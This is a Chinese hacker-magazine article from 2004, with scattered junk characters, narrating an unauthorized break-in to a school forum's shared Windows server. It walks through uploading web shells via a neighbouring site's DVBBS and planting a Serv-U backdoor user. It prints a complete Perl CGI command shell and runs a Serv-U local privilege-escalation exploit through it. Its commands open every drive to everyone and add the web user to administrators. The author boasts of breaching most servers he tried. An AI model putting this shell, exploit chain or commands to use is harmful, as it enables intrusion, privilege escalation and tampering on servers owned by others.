剑走偏锋——灵巧的旁注攻击 + ~8 P# o( n3 T* y+ d
本文作者:angel8 Q( p F: O( E) x4 e5 t, D
文章性质:原创4 J) u' E8 V% H
发布日期:2004-11-09
( N% Y4 d4 X' L% x9 [注意:
6 d* N) l/ L$ i. o. `, I! g1 }本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。$ @ t0 ^! r1 o" P9 }) G
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。8 i3 e/ b3 T6 P' E% C+ v
* w. {; w$ d$ \3 @8 \. a: V% j7 W 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
% R- N" v$ ` [
5 q) n+ Y3 {0 X5 ~# u& l0 T, \ 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 - Y6 r6 ^" L7 x. o W
5 A& N: H5 f$ f" g; q" b6 y" h 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
+ L# `3 R" u, N/ M, i8 R' u) a9 h; Z+ G G. }
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
& J( I/ x1 c6 n/ ~$ Q
5 i8 w, l4 x( ]8 L8 a5 d 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 " A& K# i# r4 m
8 U7 G3 d! _' }+ ^ 没有目的的跳转目录着…… ) z/ A1 ~( W! s
i! l) |5 F% \! o 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
* @& k( A* n$ h
7 g+ Z# @* _3 C2 D0 d1 W) c) Y 结束了吗?不,我试着 FTP 一下:
1 @6 i& T4 q2 w. {2 k0 F) k; U7 t2 A4 o# v, C+ O5 J) |
Microsoft Windows 2000 [Version 5.00.2195]7 Q# W, Y( G, V6 F- e
(C) 版权所有 1985-2000 Microsoft Corp. % P S! x9 m( M* I) ?; j- q$ y
; z& ~. f+ C- iC:\Documents and Settings\Administrator>ftp www.school.com
7 i8 [, I( o& ?% x1 @+ ?Connected to www. school.com.
( D, [ t: m) j4 t6 h220 Welcome to FTP Server... % v6 u! \! Q0 w; d Q
User (www.bjtrq.com:(none)):
2 S: }1 J/ B; w3 T& n331 User name okay, need password. ! P. e# M/ A& q1 ]
Password: . e# w8 D* ?+ F8 S/ ]
530 Not logged in.
) f- } \1 _% I( N; GLogin failed. 5 }: G" k4 T. W' [' f, O
ftp> bye ) [5 C3 J/ ^$ n
221 Goodbye!
3 k4 W4 |, ?8 H; B$ Y6 l 0 q5 s+ K, j7 s) s0 z
/ ?" B7 m+ z \
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 0 u }, C1 [6 d9 o; n; C# \
5 G7 l; _+ c4 u+ J3 W
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
: F8 A% }3 g$ d9 }+ M) ~! A. W6 r0 v8 k" P; q( L H
Application Data. q. ~8 c' H. @" Q% a2 `
Documents8 _- h( h) g. C6 ?% Q
DRM
% U5 A5 R, u" N1 MFavorites7 f% A5 h" ?* ^9 r% V
Templates
9 U" G: b! w# L g4 C+ u' E「开始」菜单
, W1 `8 a/ G, t5 P1 l- _桌面 _( M( i- s3 j; a5 O1 i
6 ~; `( i( S, K3 }! @: Q2 G
* ]" R: ]# n x& b3 y 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
8 Z8 n( K/ I( C6 f# r6 n- w T N# ^/ J3 _5 \
ActiveState ActivePerl 5.81 V* p+ {; a: _! l% J2 f6 V9 g
Administrative Tools
4 Y* K" d6 S# L/ [Deerfield.com
! W$ P/ M, w, j9 F$ I5 C$ tDTemp* r j: R( C: B; N1 z+ u
IPSentry8 ^: _3 W. y, J1 v
MBM 5( W# I1 p6 o# W1 o4 {
NetMeter/ p* q: J$ D6 E2 J% i" f# M% H& u
Network ICE8 R4 Z) P( Z/ r% J- h0 l5 T
Persits Software AspEmail/ k/ U' [4 _; ~* ]! E- L# ]. I
Persits Software AspJpeg
$ V, D9 W$ p1 ?( t7 g `Serv-U FTP Server; E+ F+ r. C# C7 \ H. _5 u* W! |4 V
Symantec Client Security
6 c$ r7 M0 d7 p' X2 K" ?Windows 优化大师
) y4 ~9 r6 D1 R9 N7 Z5 ?* _0 u* u& @WinRAR
/ _5 f6 j& @" h/ S: j2 P! l0 N1 V启动
9 N7 }) }# `1 X: m( d M! P管理工具7 ^7 q& O5 |1 g
附件1 S' _/ a/ R v2 C& ?
4 v$ _7 d, I7 @
" Z8 t, V- U+ a) ^" Z% D
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 + W* ~0 l/ C0 L1 |' c3 u
( { {) d! i3 `$ e/ h/ B 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: / o) d# t3 j+ e4 O8 j; ^
, ]+ [( o7 b7 r' _+ HUser281=angel|1|0 1 D" ?6 H9 d4 ]' ?1 x
# c3 D- X8 X! r5 U2 S- Z, Z; n
7 ?/ U R. I5 _( M- x2 l
然后加上
" G& |, f/ m k j1 }. b! c
7 y0 L; ?; Y, N" C1 c' a[USER=angel|1]
& @1 H O( x% b8 [Password=ng98F85379EA68DBF97BAADCA99B69B8054 B- d, h4 {% v, Q1 M& Z) i: U
HomeDir=D:\websites4 y, B) _+ U r# @. } O1 R
RelPaths=1; o3 f) e! o/ f
TimeOut=600
o# n+ V( U3 G2 { A. d; r, d: [Maintenance=System
3 _' N1 ^3 }* I0 l Q$ `7 I; xAccess1=D:\websites|RWAMELCDP2 H$ P- |: V1 L0 T! d7 q" f% R
SKEYValues=2 y. z. h- y) S$ ^3 `% n
9 `) ^1 s( T* o& N
7 v4 w6 j9 _5 x- r6 } 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… * d" N3 `9 P* \' d e# I2 _" H
* G8 z7 ~- B+ n- n 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
- q: m. ~$ }6 r) z6 e$ w8 l2 O2 A) A) {* X
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
( z7 I. _) G7 Z$ j6 e& f p5 O& X8 D9 S- j$ Q. a- [
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
3 \- D$ g3 |& y9 b! Z) Z
( Y9 d5 M7 N4 j#!/usr/bin/perl
7 B7 M8 e& C9 \$ y9 U$ W0 n! f; S8 Zbinmode(STDOUT);
) p$ R: u) t$ \" g! j! a, fsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);. N) y- y" ]& N# E/ y4 M
$_ = $ENV{QUERY_STRING};
+ ^3 a, x4 d) d4 }* I; Ps/%20/ /ig;
& u& r* m l7 P4 g. {% Ms/%2f/\//ig;
& e) e$ A: N' E2 _$execthis = $_;; o( V- W5 Y3 _# h
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
- v5 W$ J5 A& u6 A4 topen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";! c: S/ k9 \7 d3 {) u
system($execthis);
0 V9 p& d& ?2 m, _3 ssyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
J8 ], a. U" g* x0 |+ n$ mclose(STDERR);# K+ P9 a6 m' `: l. |. g |5 C$ r
close(STDOUT);: i& `* A* G. b6 O3 c
exit;
1 C/ k/ C X# i6 t+ x A 7 n4 K3 n) H5 r2 W, T" Z8 C( Q8 N
) R" D: L7 D& A2 n) W9 E# J 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
; q- S- T5 _, L9 C- H
! [, f0 m; C. X h5 S9 a) } 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
) P0 L o8 Y1 \' n9 `+ e4 z0 G- a
8 f1 _- {9 |7 g* Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe
* d. t) N7 [/ I1 W8 O, Q / g K1 |2 K' y0 k' }2 F9 P; J2 H
' b* ]6 P: o W; q* r 返回: 9 [# P: g) ?% Z% E
4 q: z' K4 f) ^3 s0 A% v
Serv-u >3.x Local Exploit by xiaolu
g z: Q" _/ R6 T9 m! T3 ?0 K; C" a! j4 l' v
USAGE: serv-u.exe "command"
0 s" h4 s% I/ n+ m# S
) z5 A! j- ~' Z# t; S6 b2 DExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
( [% x8 @/ O2 {5 U' k% ~
, G" [7 `* E( w0 y
" K6 j8 O n3 N6 u X. _' _' o 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
) ^% c% A3 X% e* w0 G
' S& u6 N+ e s- _http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
# \( [3 N- j0 I8 x, D
! Z; G- {" i( T) `8 f: l5 J ]http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
4 \/ M4 ]2 _2 j/ u- [: t0 {# ?7 Q7 Q: N6 C) l5 J+ v% W6 u" u
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
`: m0 b+ g5 ^- O* V7 `. t" L) L; v1 ^7 u
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
; S! \; d4 k7 G, K' R O : I! \/ F1 ?9 E1 I. V" O
+ B3 E4 b! ^% @: s5 a' t' k 返回下面的信息,就表示成功了!!!
, n' f9 z+ r+ ]: b/ J i0 Y+ N
7 q5 g# x% N. e5 S; a3 P" Q) z( iServ-u >3.x Local Exploit by xiaolu
0 g% c# l( p ` w/ g. z, }* {1 R6 J! p9 E5 Q3 I8 N+ l
<220 Serv-U FTP Server v5.2 for WinSock ready... i$ S5 ?) }* s6 K3 f+ E0 S
' J' R+ p. C3 z& [
>USER LocalAdministrator # B0 @4 y- z- m+ N% a& a+ e
$ {$ c4 h# w* L+ O7 g<331 User name okay, need password.
! ]- S9 X0 l& k, l6 k
% X" f" \1 F1 k5 S******************************************************
$ G1 W# ~& W4 X# ?# t. K1 @9 d
- }$ g) c" b! l1 D>PASS #l@$ak#.lk;0@P
9 H2 a* H) y0 |; d. L
% w {9 h. Z2 F! @' e+ ^! c<230 User logged in, proceed. % z! p6 b, [4 l8 J) R
& i& @7 P& X6 Z" ]. `2 G******************************************************
6 u; O9 e. E8 a" o9 _, Y/ W7 n
. K6 v7 ^; O- z; `+ ~>SITE MAINTENANCE , r. o) Z- P# m) @5 X
1 d2 W+ V2 Q: D! t/ X6 T
******************************************************
9 a2 t7 O4 L& ^0 X9 ?( Z* H8 [6 e4 q( O N( b4 l8 ?
[+] Creating New Domain...
; ~* }1 _4 U3 T2 `; k5 R1 D- h6 Y5 z; V. K6 Q& R. L
<200-DomainID=2 : s' D; A' w' j3 O) F; u. r
+ h7 H2 W4 G1 u7 Y+ K6 [<220 Domain settings saved . [/ q! b0 @. V
( W r/ Q' L+ h$ J. f. G******************************************************
3 V0 ^; @9 w3 m) t* N; t
+ g! J5 j& h% S0 U. q" M" r[+] Domain xl:2 Created 4 U O' W5 s* \; B; z, C
2 g! r X1 a8 P& f. _ K. V[+] Creating Evil User
" H8 k5 I) |- ^/ o7 v K& }5 Z+ X# j0 n4 q; [0 O2 i5 n# {
<200-User=xl 4 d {4 n$ n7 ~" b* Q
6 W5 h F! ]9 X& i f
200 User settings saved
% M: @$ {! Y+ Y
2 p5 o: y7 j$ z2 a+ Y9 e******************************************************
% ~) o4 _# v- W! C# O
9 n( U" [1 E* w7 A; x" J$ ?* h[+] Now Exploiting... 7 v [5 d \. B" W2 j" [' P! z7 b: `7 W
: e9 F+ V- `! y4 v+ `
>USER xl
$ Z: S; x5 {6 N/ I- p) j" Y1 p1 [
4 X, C* ~% k0 b' x. W<331 User name okay, need password.
/ j# H4 a& P- n8 ^% i
, u' h3 T" i' g******************************************************
3 _# P6 u% m& @/ W" Q/ ^3 [0 e8 W
5 B J# |3 I7 @1 w1 s3 H>PASS 111111 / v( o7 e; q. p) ]) Y/ F
6 \1 Y3 l7 a4 j<230 User logged in, proceed.
* |' F$ |% P) h& D, J4 E# q, e# g, p6 g N/ g8 A! ?
****************************************************** 6 ~8 w2 i8 v" f! E: h8 o h/ J
- ^) X5 H3 `- O[+] Now Executing: cacls.exe c: /E /T /G everyone:F
5 L# p* Q: b2 ] G# r; m( ]: T. |9 q+ u8 T- e5 s& ?
<220 Domain deleted : W3 H8 X5 f5 C3 ^
m) C* p& F3 U2 E( [******************************************************
# z7 [1 E+ y! E9 d3 m# n
! e V) m* b1 d2 b4 C3 g5 P$ X7 p6 W7 o6 X1 u3 A' I
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
" X+ J# N" p& F. T8 D2 v4 `- d9 c& e! }
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ) \# x4 {; L! Z' \ G. D/ E
3 c! ]8 K( z" D r& @8 x" F( b( _+ y6 M
/ t+ L+ z+ Q- A# d 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ; j5 r7 Q0 k3 R# A) k& k! C
$ X0 _/ |4 q E; {) {: l; F
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
5 J0 r! ?4 M& H1 H* ` & S# {' u( }! b a1 F
& g$ i6 f$ D/ v
|